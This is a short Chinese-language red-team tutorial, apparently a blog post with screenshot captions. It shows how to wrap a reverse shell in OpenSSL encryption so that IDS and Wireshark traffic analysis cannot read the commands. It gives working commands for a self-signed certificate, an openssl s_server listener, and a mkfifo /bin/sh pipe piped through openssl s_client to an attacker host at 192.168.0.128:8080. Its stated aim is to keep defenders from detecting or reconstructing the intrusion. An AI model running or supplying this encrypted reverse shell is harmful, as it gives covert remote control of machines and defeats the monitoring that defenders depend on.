红队进行web测试的后续阶段为了扩大战果,往往需要进行横向移动,需要使用反弹shell,如果反弹shell都是明文传输,那么内网有IDS或者防护软件会进行流量分析,检测带有特征就会被很快发现,如果蓝队对流量回溯分析,就可以复现入侵的过程,此时红队身份就会暴漏出来,整个项目都要停止

使用WireShark抓包直接看到输入的命令和返回的信息

使用OpenSSL加密反弹_网络安全

直接以明文显示命令和回显命令

所以我们需要对我们的传输数据进行加密

使用OpenSSL进行加密

在计算机网络中,OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上

生成自签名证书

在机器上使用OpenSSL生成自签名证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

使用OpenSSL加密反弹_网络安全_02

在生成时需要输入对应的信息,这里直接回车就好了

然后就会在目录下生成两个文件cert.pemkey.pem

使用自签名证书

监听

使用自签名证书进行监听端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

使用OpenSSL加密反弹_网络安全_03

这里需要注意,只能监听8080端口

反弹shell

在目标机器上反弹shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.128:8080 > /tmp/s; rm /tmp/s

使用OpenSSL加密反弹_网络安全_04

成功接收到反弹shell

使用WireShark抓包看一下

使用OpenSSL加密反弹_网络安全_05

已经不是明文传输了